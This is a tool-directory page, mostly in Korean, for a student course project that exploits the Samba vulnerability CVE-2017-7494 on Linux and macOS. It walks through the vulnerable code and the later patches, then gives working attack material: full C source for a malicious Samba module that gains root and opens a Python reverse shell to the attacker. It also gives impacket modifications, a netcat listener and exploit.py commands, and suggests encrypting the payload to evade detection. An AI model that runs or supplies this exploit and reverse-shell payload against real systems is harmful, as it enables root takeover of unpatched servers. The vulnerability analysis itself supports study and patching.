Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
BIT-EternalBlue-for-macOS_Linux — Net Security 과정의 최종 과제를 위한 CVE-2017-7494 익스플로잇. 이는 Linux에서 관리자 권한으로 실행되는 서비스의 취약점을 드러냅니다. | Kitploit
도구/GitHubGitHub/i-rinka/bit-eternalblue-for-macos_linux
Vulnerability AnalysisExploitationNetwork SecurityPenetration TestingLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHub
i-rinka/bit-eternalblue-for-macos_linux

BIT-EternalBlue-for-macOS_Linux

Net Security 과정의 최종 과제를 위한 CVE-2017-7494 익스플로잇. 이는 Linux에서 관리자 권한으로 실행되는 서비스의 취약점을 드러냅니다.

저장소 보기
4135년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

BIT-EternalBlue-for-macOS&Linux

Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS.

This bug is workable on both macOS and Linux.

Install

Before exploit, you need to download dependencies.

root@kitploit:~
/bin/bash install_requirement.sh

One of the most important dependencies is the impacket package for python. It make smb connection works.

However, in order to construct a valid request that make the samba server load our malicious module, we have to modify the original impacket.

The installation install_requirement.sh installs a modified version (modified by me) so you do not have to worry about that and you are not need to do any manual modification.

However, if you want to use some newer version or another version of impacket, you have to modify that package by yourself.

Goto impacket/impacket/smb3.py modify line 11154 and comment following two sentences:

root@kitploit:~
#         fileName = fileName.replace('/', '\\') Should be comment!
        if len(fileName) > 0:
#             fileName = ntpath.normpath(fileName) Should be comment!
            if fileName[0] == '\\':
                fileName = fileName[1:]

How to use

To exploit target, you need open two terminals. One use netcat to interact with the reverse shell, the other is used to exploit the BUG.

Usage:

root@kitploit:~
#First terminal use nc to get reverse shell
$ nc -p 23333 -l

# Second terminal to exploit target
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135

If the target is macOS, you should not to compile the module on Linux! As gcc do not support MACH-O format. If you are a mac user, macOS payload compilation works.

A precompiled version is in the directory. The mac_payload.so.

Use -m flag to make exploit.py know you will use a customized payload.

root@kitploit:~
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so

Uninstall

root@kitploit:~
sudo -H python3 -m pip uninstall impacket

Todo:

  • macOS Samba installation guide.

A detailed process would be post in Chinese as my final assignment. If you understand Chinese, it would be fine for you. :)


Mac&Linux용 에터널블루

—— CVE2017-7494 공격 보고서

배경 소개

에터널블루(Eternal Blue)는 2017년에 큰 피해를 입혔으며, Windows SMB의 메커니즘을 이용한 웜 공격이었습니다. SMB는 Windows에서 실행되는 서비스로, 서로 다른 호스트 간에 파일을 공유하고 원격 프로시저 호출(Remote Procedure Call, RPC)을 가능하게 합니다. 아마도 이러한 기능의 특성 때문에 해커의 공격 대상이 되는 경우가 많습니다.

운영 체제 커널 자체의 취약점은 Windows의 경우에도 상당히 적은 편입니다. 문제가 되는 것은 일반적으로 운영 체제 위에서 실행되는 다양한 서비스들입니다. 이들은 운영 체제처럼 엄격한 규격과 철저한 테스트를 거친 코드를 갖고 있지 않지만, 높은 권한에서 실행되기 때문에 악용 가능한 기회가 많이 발생합니다. 그렇다면 운영 체제의 하위 구성 요소 자체를 공격하는 대신, 운영 체제에서 높은 권한으로 실행되는 서비스를 공격함으로써 전체 시스템을 장악할 수 있을까요? 운영 체제 단독으로는 커널일 뿐 아무것도 할 수 없으며, 다양한 시스템 서비스를 실행해야만 다양한 기능을 제공할 수 있습니다. 운영 체제에는 관리자 권한으로 실행되어야 하는 많은 서비스(데몬 프로세스)가 있으므로, 이러한 높은 권한의 서비스를 장악하면 자연스럽게 시스템의 관리자 권한을 얻을 수 있고, 결국 운영 체제 전체를 장악할 수 있습니다.

마지막으로, SMB의 오픈소스 구현인 Samba에서 악용 가능한 취약점인 CVE2017-7494를 발견했습니다. Windows와 유사하게, 해커는 Samba의 원격 프로시저 호출을 통해 운영 체제의 관리자 권한을 얻을 수 있으며, 이를 통해 웜 바이러스를 제작하여 네트워크를 공격할 기회를 가질 수 있습니다.

Linux 커널은 오픈소스로 인한 보안성으로 유명하며, macOS는 소수 시스템으로서 이를 대상으로 한 바이러스가 적기 때문에 종종 안전하다는 착각을 불러일으킵니다. 따라서 본 실험에서는 macOS와 여러 다른 Linux 배포판을 공격 대상으로 선정하여, 운영 체제의 취약성을 보여주고자 합니다. 즉, 운영 체제의 설계가 "아무리 안전해 보여도" 작은 응용 프로그램의 취약점 하나로 언제든지 장악될 수 있다는 점을 드러내는 것입니다.

취약점 분석

Samba는 SMB와 동등한 서비스이기 때문에 "리눅스 버전 에터널블루"라고도 불리지만, 기술적 관점에서 두 가지는 본질적인 차이가 있습니다.

  • Windows의 에터널블루는 버퍼 오버플로 공격을 이용한 반면, CVE2017-7494는 프로그램 실행 로직의 취약점입니다.

이번 취약점은 주로 source3\rpc_server\srv_pipe.c의 bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) 함수가 smb_probe_module()을 호출하는 부분에서 발생합니다.

root@kitploit:~
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
	...
	//여기서 문제 발생
	status = smb_probe_module("rpc", pipename);
    ....

is_known_pipename()의 상위 함수인 np_open()은 제어 모듈로, RPC 서비스 요청을 검사한 후 is_known_pipename()을 호출합니다. is_known_pipename()은 이름 그대로 원격 파이프가 이미 등록되었는지 판단하는 함수이지만, Samba 3.50 이후에 smb_probe_module()을 통해 동적 모듈을 로드하는 새로운 기능이 도입되었습니다. 이 취약점은 바로 이 모듈 로드 기능을 악용하여 악성 모듈을 호출하도록 유도합니다.

rpc pipe 모듈의 로딩은 다음과 같은 호출 체인을 따릅니다:

is_known_pipename() - > smb_probe_module() -> do_smb_load_module() -> load_module()

Samba 3.5.0 ~ Samba 4.6.3 버전 사이에서 do_smb_load_module() 함수는 RPC 모듈을 로드하는 smb_probe_module()과 자체 모듈을 로드하는 smb_load_module()에 의해 재사용됩니다. smb_load_module()은 알려진 모듈(예: VFS 모듈)을 로드하는 데 사용되며, Samba 자체 기능 확장을 위한 내부 호출용입니다. 반면 smb_probe_module()은 RPC 요청에서 올 수 있는 가능한 모듈을 로드하기 위한 것입니다.

root@kitploit:~
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, true);
}

NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
	return do_smb_load_module(subsystem, module, false);
}

이렇게 출처가 다른 두 함수가 재사용되기 때문에(비록 제 생각에는 이 두 모듈이 절대 같은 함수를 재사용해서는 안 된다고 생각하지만), do_smb_load_module()은 "요청을 분석하여 SMB 서브시스템 내에서 모듈을 로드하는 방식"과 "절대 경로를 통해 모듈을 로드하는 방식"을 동시에 구현하게 되었습니다.

root@kitploit:~
static NTSTATUS do_smb_load_module(const char *subsystem,
								   const char *module_name, bool is_probe)
{
...
    /* Check for absolute path */
    // 주석의 주석: 만약 전달된 경로가 절대 경로를 제공해서는 안 되는 smb_probe_module()에서 왔음에도 불구하고
    // smb_probe_module()이 절대 경로를 제공한다면, 이 검사는 무용지물이 됩니다. 이것이 이번 취약점의 원리입니다.
	if (subsystem && module_name[0] != '/')
	{
		// 원래는 서브시스템으로 들어가 SMB 서브시스템 -> 절대 경로 변환을 수행해야 함
		full_path = talloc_asprintf(ctx,"%s/%s.%s",	modules_path(ctx, subsystem),module_name,shlib_ext());
        ...
	}
	else
	{
		// 그러나 우리가 만든 절대 경로를 직접 로드하게 되어 여기를 통과함
		init = load_module(module_name, is_probe, &handle);	
        // 이렇게 함으로써 init이 "존재하지 않는 pipe의 모듈"이 절대 경로에서 온 모듈을 사용하게 됨
	}
	// 여기서 악성 코드 호출로 바로 진입
	status = init();
...

do_smb_load_module()은 상위 함수가 전달한 경로가 smb_load_module에서 왔는지 smb_probe_module에서 왔는지 알 수 없기 때문에, 가짜 요청을 구성할 가능성이 생깁니다. 즉, 원래 "서브시스템 내부에서 로드되어야 할 모듈"이 "절대 경로의 모듈 로드"로 바뀌게 됩니다. 그리고 이 절대 경로의 모듈이 우리가 미리 정의한 악성 모듈이라면, 취약점 악용에 성공하게 됩니다.

운 좋게도 Samba는 파일 전송을 지원하는 프로토콜이므로, 악성 모듈을 쉽게 업로드할 수 있습니다. 동시에 DCE 요청은 절대 경로를 묻는 것도 지원합니다. 이 두 가지 요소 덕분에 do_smb_load_module()을 쉽게 악용하여 절대 경로의 악성 모듈을 로드하도록 할 수 있습니다.

악용 원리는 다음 그림과 같습니다:

Samba의 취약점 패치

이후 버전에서 Samba는 이 취약점을 수정했으며, 주로 RPC 요청으로 전달되는 파이프 이름에 대한 검사를 강화했습니다.

첫 번째 패치는 is_known_pipename()에서 이루어졌으며, strchr을 사용하여 pipe 이름에 /가 있는지 검사합니다. /가 있으면 Linux 경로를 로드하라는 의미이므로, 이는 금지되어야 합니다.

root@kitploit:~
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
	NTSTATUS status;
    // 이 줄을 추가하여 절대 경로의 모듈을 요청하는 것을 방지
	if (strchr(pipename, '/')) {
		DEBUG(1, ("Refusing open on pipe %s\n", pipename));
		return false;
	}

...

두 번째 패치는 smb_probe_module()에서 이루어졌습니다(git 기록에 따르면 4.70에서 추가됨). 이전의 단순한 do_smb_load_module() 호출과 달리, 더 세분화된 규칙이 추가되었습니다.

root@kitploit:~
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
	...
    // 두 번째 절대 경로 검사
	if (strchr(module, '/')) {
		status = NT_STATUS_INVALID_PARAMETER;
		goto done;
	}
	....
done:
	TALLOC_FREE(tmp_ctx);
	return status;
}

또 다른 방어선이 추가되었습니다. 또한 모듈을 로드하는 함수도 더 세분화되어, 기존의 smb_probe_module()과 smb_load_module()이 smb_probe_module(), smb_load_module(), smb_probe_module_absolute_path()로 분할되어 악성 모듈 경로에 대한 검사가 강화되었습니다.

실험 설정

이번 실험의 Linux 타깃은 서로 다른 Linux 배포판인 Ubuntu와 Alpine Linux를 사용하여 실험을 진행합니다. Docker를 이용해 Samba 버전이 4.6.3 이전, 3.5.0 이후인 Samba 서버를 구축합니다. Samba는 데몬 프로세스 smbd로 실행됩니다.

Alpine Linux는 최근 "경량"과 "보안"으로 주목받는 Linux입니다. 현재 흔한 Linux와 달리 glibc 대신 musl libc를 C 언어 실행 환경으로 사용하며, 특별한 buzybox를 명령줄 도구로 사용합니다. 일반적으로 재컴파일이나 코드 수정 없이는 일반 Linux 소프트웨어가 Alpine Linux에서 실행되지 않습니다. 따라서 "GNU 라이브러리를 사용하는 Linux에 대한 공격이 Alpine Linux에는 통하지 않을 것이다"라는 생각을 하기 쉽습니다.

또한 이번 실험에서는 macOS에 대한 공격도 수행했습니다. macOS는 적극적인 보안 조치가 없지만, 이를 대상으로 한 공격이 적기 때문에 주류 의견이 "macOS에는 바이러스가 없다"고 생각하기 쉬운 또 다른 시스템입니다.

이러한 다양한 시스템을 설정하고, 버퍼 오버플로가 아닌 프로그래밍 로직 취약점을 이용하는 공격 실험을 통해 다음 사실을 밝히고자 합니다.

  • 응용 프로그램 취약점 공격은 운영 체제와 무관하다는 점
  • 취약점의 출현은 무작위적이라는 점

Linux 타깃 구축

Linux용 Samba는 Docker를 사용하여 빠르게 배포합니다. dockerhub에서 충분히 오래된 구버전 이미지를 찾아야 합니다. Ubuntu용 Samba는 rootlogin/samba에서, Alpine Linux용 Samba는 servercontainers/samba:4.6.3에서 가져옵니다. 컨테이너의 공유 경로를 적절히 설정하면 됩니다.

macOS 타깃 구축

macOS는 버전 11.3 Big Sur를 사용합니다.

macOS는 서버 용도로 거의 사용되지 않으므로, 사전 컴파일된 구버전 Samba를 제공하지 않습니다. 따라서 직접 구버전 Samba를 컴파일해야 합니다.

다음을 사용합니다:

root@kitploit:~
git clone https://github.com/samba-team/samba.git

Samba를 클론한 후 git의 checkout 기능을 사용하여 4.6.3 버전으로 되돌립니다.

11811 – compile error on Mac OS X 10.11 error: field has incomplete type 'struct timespec' LOADPARM_EXTRA_LOCALS (samba.org) 및 [11984 – failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text= It can be, param%2Floadparam.h)의 기록에 따르면, macOS 버전의 Samba에는 컴파일 문제가 있습니다. 이후 버전에서는 수정되었지만, 구버전에서는 수동으로 컴파일 패치를 적용해야 합니다.

root@kitploit:~
curl -fsSL  https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -

또한 lib/param/loadparm.h에 #include <time.h>를 헤더 파일로 추가해야 합니다.

마지막으로 컴파일에 필요한 종속성 문제를 해결한 후, macOS용 Samba를 컴파일, 설치 및 실행합니다.

실험 단계

이번 실험에서는 python을 사용하여 타깃을 공격하며, impacket 패키지를 사용하여 SMB 작업을 수행합니다.

공격의 대략적인 흐름은 다음과 같습니다:

  1. 악성 페이로드 컴파일
  2. Samba 로그인
  3. 악성 페이로드 업로드
  4. RPC를 사용하여 악의적으로 구성된 경로를 호출하여 Samba 서버가 악성 페이로드를 로드하도록 함
  5. 루트 권한의 리버스 셸 획득

악성 페이로드 구성

악성 페이로드의 주요 기능은 다음과 같습니다:

  • 프로세스 분리
  • TCP 연결 열기
  • 셸 열기

이를 통해 원격 서버를 제어할 수 있습니다.

코드는 다음과 같습니다:

root@kitploit:~
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <stdbool.h>
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"

static void CreateReverseShell()
{
    pid_t pid;
    pid = fork(); // 서브프로세스를 사용하여 메인 Samba 프로세스에서 분리
    if (pid == 0)
    {
        umask(0);
        chdir("/");
        execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Python을 사용하여 TCP 연결 생성 및 리버스 셸 설정
    }
}
#ifdef __linux__
extern bool become_root(void);
#endif
// Samba가 모듈을 로드할 때, 엔트리 포인트로 자동으로 이 함수를 호출함
int samba_init_module(void)
{
    // 문자: YOU ARE HACKED
    printf("__  __               ___                 __  __           __            __\n\\ \\/ /___  __  __   /   |  ________     / / / /___ ______/ /_____  ____/ /\n \\  / __ \\/ / / /  / /| | / ___/ _ \\   / /_/ / __ `/ ___/ //_/ _ \\/ __  / \n / / /_/ / /_/ /  / ___ |/ /  /  __/  / __  / /_/ / /__/ ,< /  __/ /_/ /  \n/_/\\____/\\__,_/  /_/  |_/_/   \\___/  /_/ /_/\\__,_/\\___/_/|_|\\___/\\__,_/   \n");
    #ifdef __linux__
    become_root();
    #endif
    CreateReverseShell();
    
    return 0;
}

여기서 samba_init_module()은 Samba가 모듈 로딩 함수를 호출한 후의 진입점으로, 악성 코드의 진입점 역할을 합니다.

printf가 출력하는 긴 문자열은 YOU ARE HACKER입니다:

root@kitploit:~
__  __               ___                 __  __           __            __
\ \/ /___  __  __   /   |  ________     / / / /___ ______/ /_____  ____/ /
 \  / __ \/ / / /  / /| | / ___/ _ \   / /_/ / __ `/ ___/ //_/ _ \/ __  / 
 / / /_/ / /_/ /  / ___ |/ /  /  __/  / __  / /_/ / /__/ ,< /  __/ /_/ /  
/_/\____/\__,_/  /_/  |_/_/   \___/  /_/ /_/\__,_/\___/_/|_|\___/\__,_/   
                                                                          

재미를 위한 것입니다.

become_root() 함수는 Samba에서 가져온 함수이며, extern 선언으로 쉽게 호출할 수 있습니다.

  • Apple 시스템의 경우, 리버스 셸에 루트로 진입하기 위해 become_root를 사용할 필요가 없습니다. 또한 현재 Apple 시스템에서 컴파일할 때 extern이 작동하지 않거나 링커에서 문제가 발생하는 경우가 있습니다. 원인은 아직 불명확하므로 ifdef를 사용하여 Apple 시스템을 우회합니다.

CreateReverseShell() 함수는 리버스 셸 프로세스를 메인 함수 프로세스에서 분리하여 백도어 효과를 구현합니다.

이번 리버스 셸 악성 페이로드는 python을 사용하여 생성되었으며, execl로 python 스크립트를 실행합니다. C 언어 버전을 사용하지 않은 이유는 다음과 같습니다:

  • 코드 이전 중 Windows가 컴파일된 악성 모듈의 바이너리 버전을 탐지할 수 있다는 것을 발견했습니다. 따라서 많은 보안 시스템이 이미 컴파일된 execl에 대한 탐지 기능을 갖추고 있을 것으로 추측했습니다.
  • python은 유연한 스크립트 언어이며, 대부분의 현대 Unix계 운영 체제에 기본 탑재되어 있으므로 python 호출은 항상 가능할 것입니다.
  • python은 동적 스크립트 언어이기 때문에 eval() 함수를 제공합니다. 따라서 리버스 셸을 여는 스크립트를 암호화한 후, 실제 실행 시 복호화한 다음 eval()을 호출하여 악성 페이로드를 실행함으로써 첫 번째 지점인 보안 시스템 탐지를 회피할 수 있습니다.
    • 이 작업은 이번 실험에서 구현되지는 않았지만, 실제로 가능합니다.
    • 그러나 python이든 C 언어이든 리버스 셸 페이로드는 공격 과정에서 macOS가 전혀 반응하지 않았습니다. 이는 "macOS는 능동적인 방어 수단이 없는 운영 체제"라는 생각을 어느 정도 입증합니다.

macOS 버전의 악성 페이로드는 macOS의 clang으로 컴파일해야 합니다. Linux의 gcc는 MACH-O 형식의 실행 파일을 지원하지 않기 때문입니다. 또한 컴파일 시 특별히 mac의 .dylib 접미사를 지정할 필요 없이 .so 접미사를 사용하여 컴파일하면 됩니다.

Python 공격 스크립트

python 공격 스크립트는 python3.7을 실행 환경으로 사용하며, 주요 흐름은 다음과 같습니다:

  1. 악성 모듈을 직접 컴파일할지 판단
  2. 로그인
  3. 악성 파일 업로드
  4. 악성 모듈 로드

진입점에서는 Options를 사용하여 구문 분석합니다. 사용자가 사전 컴파일된 모듈을 제공하면 재컴파일하지 않고 기존 모듈을 사용합니다. 그렇지 않으면 lhost 및 lport 매개변수를 사용하여 새 모듈을 컴파일하고, 이를 통해 리버스 셸이 공격자에게 연결되도록 합니다.

우리는 악성 경로를 사용하기 때문에, 기존의 impacket 패키지를 일부 수정하여 Samba 서버에 필요한 요청을 보낼 수 있도록 해야 합니다.

impacket/impacket/smb3.py에서 11154행의 두 문장을 주석 처리합니다:

root@kitploit:~
#         fileName = fileName.replace('/', '\\') Should be comment!
        if len(fileName) > 0:
#             fileName = ntpath.normpath(fileName) Should be comment!
            if fileName[0] == '\\':
                fileName = fileName[1:]

이를 통해 "절대 경로의 악성 모듈"을 로드할 수 있습니다.

나머지 로그인, 파일 업로드, 악성 모듈 로드는 모두 impacket 패키지에서 제공하는 기능이므로 자세히 설명하지 않겠습니다.

공격 실행

공격 전에 netcat을 사용하여 반환되는 리버스 셸을 대기해야 합니다:

root@kitploit:~
nc -p 23333 -l

그런 다음 다음을 사용합니다:

root@kitploit:~
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so

그러면 위의 python 스크립트가 자동으로 실행되어 netcat 창에서 루트 권한의 리버스 셸을 얻고 원격 서버를 제어할 수 있습니다.

공격 결과

Ubuntu 공격:

Alpine Linux 공격:

macOS 공격:

Windows에서 macOS로 침투하여 스크립트 실행:

요약

  • 응용 계층의 취약점은 운영 체제와 무관하며, "절대적으로 안전한" 시스템은 존재하지 않습니다. 아무리 안전해 보이는 시스템이라도 예상치 못한 방식으로 침투될 수 있습니다.
  • 핵심 서비스는 가능한 한 적은 권한으로 실행되어야 합니다. 침투되더라도 호스트 시스템에 큰 영향을 주지 않습니다.
  • 컨테이너나 가상 머신과 같은 기술을 사용하여 격리 실행할 수 있습니다. 예를 들어 이번 실험의 Linux 버전은 컨테이너 기술을 사용하여 공격 후에는 Linux 컨테이너 내부의 루트 권한만 얻을 수 있으며, 다른 컨테이너 탈출 취약점이 없다면 물리적 머신에 피해를 줄 수 없습니다. 이는 "공용 메커니즘 최소화 원칙"을 따릅니다.
  • 보안 문제는 결코 단일 측면으로 해결되지 않습니다. 예를 들어 scanf_s, strSafe 및 "버퍼 오버플로가 어려운 안전한 언어"만으로는 모든 문제를 해결할 수 없습니다. 악용될 수 있는 취약점은 예상치 못한 곳에서도 나타날 수 있습니다.
도구 다운로드